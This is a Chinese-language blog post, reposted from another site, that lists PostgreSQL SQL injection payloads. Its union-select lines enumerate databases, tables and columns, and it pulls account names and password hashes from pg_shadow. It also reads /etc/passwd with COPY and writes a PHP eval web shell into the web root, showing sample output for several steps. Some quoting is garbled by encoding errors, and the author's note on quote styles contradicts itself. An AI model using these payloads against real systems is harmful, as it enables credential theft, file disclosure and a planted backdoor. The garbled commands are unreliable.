copy from:http://www.91ri.org/4375.html
在注入中常用的几个注入语法通常有这么几个:
–显示版本
–从已知表段字段爆数据
–列库
–列数据库中的表段
–列表段中的字段
–读取配置信息,例如数据库登陆账户和密码
–读写文件
那我就一个一个来讲这些Postgresql的语法是怎样的
–显示版本
Default
select version(); union select 1,2,...n,version()
1 2 | select version(); union select 1,2,...n,version() |
//version()函数与MySQL的是一样的
回显数据举例:
PostgreSQL 8.1.18 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-46)
–从已知表段字段爆数据
Default
select aa from bb where cc=dd; union select 1,2,....n,aa from bb where cc=dd
1 2 | select aa from bb where cc=dd; union select 1,2,....n,aa from bb where cc=dd |
//所有的SQL语法几乎都是这样的语法来爆数据
无举例
–列库
Default
select datname from pg_database; union select 1,2,....,n,datname from pg_database;
1 2 | select datname from pg_database; union select 1,2,....,n,datname from pg_database; |
回显举例:
Default
postgres,prc,template1,template0
1 | postgres,prc,template1,template0 |
–列数据库中的表段
Default
select relname from pg_stat_user_tables limit 1 offset n;
1 | select relname from pg_stat_user_tables limit 1 offset n; |
//类似于MySQL中的information_schema.tables,虽然不大恰当
Default
union select relname from pg_stat_user_tables limit 1 offset 3;
1 | union select relname from pg_stat_user_tables limit 1 offset 3; |
//limit 1 offset 0和MySQL的limit 0,1一个效果。
无举例
–列表段中的字段
Default
select column_name from information_schema.columns where table_name='xxx' limit 1 offset n; union select 1,2,.....,n,column_name from information_schema.columns where table_name=0x3a limit 1 offset 5
1 2 | select column_name from information_schema.columns where table_name='xxx' limit 1 offset n; union select 1,2,.....,n,column_name from information_schema.columns where table_name=0x3a limit 1 offset 5 |
//同MySQL
–读取配置信息,例如数据库登陆账户和密码
Default
select usename,passwd from pg_shadow; union select 1,2,...n,usename,passwd from pg_shadow
1 2 | select usename,passwd from pg_shadow; union select 1,2,...n,usename,passwd from pg_shadow |
//pg_shadow数据库类似于MySQL中的mysql数据库
root账户为postgres
回显举例:
postgres 9d2e7638fd7c7e433f0074a8f65cfd3a
–读取文件
copy test from ‘/etc /passwd’with delimiter E’t’;
(注:网上多数关于Postgresql的语句中是双引号,实际测试,8.x到9.x双引号无效,应该用双引号)
回显举例:
Query failed: ERROR: extra data after last expected column CONTEXT: COPY file, line 1: “root:x:0:0:root:/root:/bin/bash”
–写入文件
Default
insert into test values ('<?php eval($_POST["cmd"];?>'); copy test(code) to â/var/www/one.phpâ;
1 2 | insert into test values ('<?php eval($_POST["cmd"];?>'); copy test(code) to ”/var/www/one.php”; |
回显举例:
Query failed: ERROR: could not open file “/var/www/html/aaa.php” for writing: Permission denied
pg_file_read()不如MySQL中的load_file()那么好用
例如:
Default
select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));
1 | select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf')); |
则回显:
Query failed: ERROR: function pg_file_length(“unknown”) does not exist HINT: No function matches the given name and argument types. You may need to add explicit type casts.
Postgresql我也不是特别熟,所以写到这里。
参考:http://nana.blackbap.org/?p=archive&id=55